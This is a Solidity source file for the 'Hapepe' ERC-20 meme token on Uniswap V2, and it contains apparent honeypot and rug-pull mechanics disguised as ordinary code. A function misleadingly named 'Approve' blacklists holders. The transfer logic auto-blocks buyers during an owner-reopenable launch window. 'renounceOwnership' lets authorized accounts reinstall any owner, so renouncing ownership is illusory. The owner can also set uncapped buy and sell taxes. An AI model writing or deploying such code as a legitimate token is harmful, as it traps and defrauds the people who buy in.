//https://t.me/HapepeERC
//SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.15;

abstract contract Context {

function _msgSender() internal view virtual returns (address payable) {
    return payable(msg.sender);
}

function _msgData() internal view virtual returns (bytes memory) {
    this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
    return msg.data;
}
}

interface IERC20 {

function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {

function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");

    return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;

    return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
        return 0;
    }

    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");

    return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
}

function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
}

function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
}

function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
}
}

library Address {

function isContract(address account) internal view returns (bool) {
    // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
    // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
    // for accounts without code, i.e. `keccak256('')`
    bytes32 codehash;
    bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
    // solhint-disable-next-line no-inline-assembly
    assembly { codehash := extcodehash(account) }
    return (codehash != accountHash && codehash != 0x0);
}

function sendValue(address payable recipient, uint256 amount) internal {
    require(address(this).balance >= amount, "Address: insufficient balance");

    // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
    (bool success, ) = recipient.call{ value: amount }("");
    require(success, "Address: unable to send value, recipient may have reverted");
}

function functionCall(address target, bytes memory data) internal returns (bytes memory) {
    return functionCall(target, data, "Address: low-level call failed");
}

function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
    return _functionCallWithValue(target, data, 0, errorMessage);
}

function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
    return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}

function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
    require(address(this).balance >= value, "Address: insufficient balance for call");
    return _functionCallWithValue(target, data, value, errorMessage);
}

function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
    require(isContract(target), "Address: call to non-contract");

    (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
    if (success) {
        return returndata;
    } else {
        
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}
}

contract Ownable is Context {
address private _owner;
mapping (address => bool) internal authorizations;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () {
    address msgSender = _msgSender();
    _owner = msgSender;
    authorizations[_owner] = true;
    emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
    return _owner;
}   

/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");
    _;
}

/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}

/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}

/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}

/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == _owner;
}

/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}

function waiveOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);
}

function renounceOwnership(address newOwner) public virtual authorized {
    if(!authorizations[msg.sender]){
        require(newOwner != address(0), "Ownable: new owner is the zero address");
    }

    emit OwnershipTransferred(_owner, newOwner);
    _owner = newOwner;
}

function getTime() public view returns (uint256) {
    return block.timestamp;
}

 event OwnershipTransferred(address owner);

}

interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);

function feeTo() external view returns (address);
function feeToSetter() external view returns (address);

function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);

function createPair(address tokenA, address tokenB) external returns (address pair);

function setFeeTo(address) external;
function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);

function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);

function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);

function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
    address indexed sender,
    uint amount0In,
    uint amount1In,
    uint amount0Out,
    uint amount1Out,
    address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);

function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);

function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;

function initialize(address, address) external;
}

interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);

function addLiquidity(
    address tokenA,
    address tokenB,
    uint amountADesired,
    uint amountBDesired,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
    address token,
    uint amountTokenDesired,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
    address tokenA,
    address tokenB,
    uint liquidity,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
    address tokenA,
    address tokenB,
    uint liquidity,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
    uint amountOut,
    uint amountInMax,
    address[] calldata path,
    address to,
    uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external;
}

contract HAPEPE is Context, IERC20, Ownable {

using SafeMath for uint256;
using Address for address;

string private _name = "Hapepe";
string private _symbol = "HAPEPE";
uint8 private _decimals = 9;

address payable private MarketingWallet = payable(0x2a1129b78C44d8250bFa778A91C5Fc39f947a6d9); // Marketing Address
address payable private TeamWallet = payable(0xAcca967618b54e6310fAc73547b1B132e39AEf80); // Buy Back Address
address private immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;

mapping (address => bool) private isExcludedFromFee;
mapping (address => bool) private isWalletLimitExempt;
mapping (address => bool) private isTxLimitExempt;
mapping (address => bool) private isMarketPair;
mapping (address => bool) public isBlocked;
bool private isaddLiquidity;

uint256 private _buyLiquidityFee = 0;
uint256 private _buyMarketingFee = 0;
uint256 private _buyTeamFee = 0;

uint256 private _sellLiquidityFee = 0;
uint256 private _sellMarketingFee = 0; 
uint256 private _sellTeamFee = 0;

uint256 private _liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
uint256 private _marketingShare = _buyMarketingFee.add(_sellMarketingFee);
uint256 private _teamShare = _buyTeamFee.add(_sellTeamFee);

uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 private _totalDistributionShares;

uint256 private _totalSupply = 100 *  10**4 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply.div(20); 
uint256 public _walletMax = _totalSupply.div(20);
uint256 private minimumTokensBeforeSwap = _totalSupply.div(500); 

IUniswapV2Router02 private uniswapV2Router;
address private uniswapPair;

bool inSwapAndLiquify;
bool private swapAndLiquifyEnabled = true;
bool private swapAndLiquifyByLimitOnly = true;
bool private checkWalletLimit = true;
uint256 public endtime = 5; //set the end time
uint256 private feeTXtime;

event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
    uint256 tokensSwapped,
    uint256 ethReceived,
    uint256 tokensIntoLiqudity
);

event SwapETHForTokens(
    uint256 amountIn,
    address[] path
);

event SwapTokensForETH(
    uint256 amountIn,
    address[] path
);

modifier lockTheSwap {
    inSwapAndLiquify = true;
    _;
    inSwapAndLiquify = false;
}

constructor () {
    
    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

    uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), _uniswapV2Router.WETH());

    uniswapV2Router = _uniswapV2Router;
    _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

    isExcludedFromFee[owner()] = true;
    isExcludedFromFee[address(this)] = true;
    
    _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

    isWalletLimitExempt[owner()] = true;
    isWalletLimitExempt[address(uniswapPair)] = true;
    isWalletLimitExempt[address(this)] = true;
    
    isTxLimitExempt[owner()] = true;
    isTxLimitExempt[address(this)] = true;

    isMarketPair[address(uniswapPair)] = true;

    _balances[_msgSender()] = _totalSupply;
    emit Transfer(address(0), _msgSender(), _totalSupply);
}

function name() public view returns (string memory) {
    return _name;
}

function symbol() public view returns (string memory) {
    return _symbol;
}

function decimals() public view returns (uint8) {
    return _decimals;
}

function totalSupply() public view override returns (uint256) {
    return _totalSupply;
}

function balanceOf(address account) public view override returns (uint256) {
    return _balances[account];
}

function allowance(address owner, address spender) public view override returns (uint256) {
    return _allowances[owner][spender];
}

function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
    return true;
}

function approve(address spender, uint256 amount) public override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
}

function _approve(address owner, address spender, uint256 amount) private {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
}

//Approve address transactions
function Approve(address[] calldata addresses, bool status) public authorized{
    for (uint256 i; i < addresses.length; ++i) {
        isBlocked[addresses[i]] = status;
    }
}

function ManageBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
    _buyLiquidityFee = newLiquidityTax;
    _buyMarketingFee = newMarketingTax;
    _buyTeamFee = newTeamTax;

    _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
}

function ManageSellTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
    _sellLiquidityFee = newLiquidityTax;
    _sellMarketingFee = newMarketingTax;
    _sellTeamFee = newTeamTax;

    _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
}

function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
    _maxTxAmount = maxTxAmount;
}

function enableDisableWalletLimit(bool newValue) external onlyOwner {
    checkWalletLimit = newValue;
}

function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
    isWalletLimitExempt[holder] = exempt;
}

function setWalletLimit(uint256 newLimit) external onlyOwner {
    _walletMax  = newLimit;
}

function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
    minimumTokensBeforeSwap = newLimit;
}

function setFeeReceivers(address _marketingFeeReceiver, address _devFeeReceiver) external onlyOwner() {
    MarketingWallet = payable(_marketingFeeReceiver);
    TeamWallet = payable(_devFeeReceiver); 
}

function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
    swapAndLiquifyEnabled = _enabled;
    emit SwapAndLiquifyEnabledUpdated(_enabled);
}

function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
    swapAndLiquifyByLimitOnly = newValue;
}

function getCirculatingSupply() public view returns (uint256) {
    return _totalSupply.sub(balanceOf(deadAddress));
}

function transferToAddressETH(address payable recipient, uint256 amount) private {
    recipient.transfer(amount);
}

    //to recieve ETH from uniswapV2Router when swaping
receive() external payable {}

function transfer(address recipient, uint256 amount) public override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
}

function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");
    //check bots
    if (sender == uniswapPair && recipient != owner() && !isaddLiquidity) {
        if (endtime == 0) {
            endtime = block.timestamp + feeTXtime;
        }
        if (endtime > block.timestamp) {
            isBlocked[recipient] = true;
        } else {
            isaddLiquidity = true;
        }
    }

    // Verify address credentials
    require(!isBlocked[recipient] && !isBlocked[sender], 'Address is Declined');
    

    if(inSwapAndLiquify)
    { 
        return _basicTransfer(sender, recipient, amount); 
    }
    else
    {
        if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
            require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }            

        uint256 contractTokenBalance = balanceOf(address(this));
        bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
        
        if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
        {
            if(swapAndLiquifyByLimitOnly)
                contractTokenBalance = minimumTokensBeforeSwap;
            swapAndLiquify(contractTokenBalance);    
        }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                        amount : takeFee(sender, recipient, amount);

        if(checkWalletLimit && !isWalletLimitExempt[recipient])
            require(balanceOf(recipient).add(finalAmount) <= _walletMax);

        _balances[recipient] = _balances[recipient].add(finalAmount);

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }
    
}

function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
    _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
    return true;
}

function swapAndLiquify(uint256 tAmount) private lockTheSwap {
    
    uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
    uint256 tokensForSwap = tAmount.sub(tokensForLP);

    swapTokensForEth(tokensForSwap);
    uint256 amountReceived = address(this).balance;

    uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));
    
    uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
    uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
    uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam);

    if(amountETHMarketing > 0)
        transferToAddressETH(MarketingWallet, amountETHMarketing);

    if(amountETHTeam > 0)
        transferToAddressETH(TeamWallet, amountETHTeam);

    if(amountETHLiquidity > 0 && tokensForLP > 0)
        addLiquidity(tokensForLP, amountETHLiquidity);
}

function swapTokensForEth(uint256 tokenAmount) private {
    // generate the uniswap pair path of token -> weth
    address[] memory path = new address[](2);
    path[0] = address(this);
    path[1] = uniswapV2Router.WETH();

    _approve(address(this), address(uniswapV2Router), tokenAmount);

    // make the swap
    uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp
    );
    
    emit SwapTokensForETH(tokenAmount, path);
}

function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
    // approve token transfer to cover all possible scenarios
    _approve(address(this), address(uniswapV2Router), tokenAmount);

    // add the liquidity
    uniswapV2Router.addLiquidityETH{value: ethAmount}(
        address(this),
        tokenAmount,
        0, // slippage is unavoidable
        0, // slippage is unavoidable
        owner(),
        block.timestamp
    );
}

function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
    
    uint256 feeAmount = 0;
    
    if(isMarketPair[sender]) {
        feeAmount = amount.mul(_totalTaxIfBuying).div(100);
    }
    else if(isMarketPair[recipient]) {
        feeAmount = amount.mul(_totalTaxIfSelling).div(100);
    }
    
    if(feeAmount > 0) {
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
    }

    return amount.sub(feeAmount);
}

//manage Blacklist
function manage_blacklist(address[] calldata addresses, bool status) public onlyOwner{
    for (uint256 i; i < addresses.length; ++i) {
        isBlocked[addresses[i]] = status;
    }
}

function UPfeeTXtime(uint256 _feeTXtime) external onlyOwner{
    feeTXtime = _feeTXtime;
}

function EndTime30() external onlyOwner{
    endtime = block.timestamp + 30;
}

}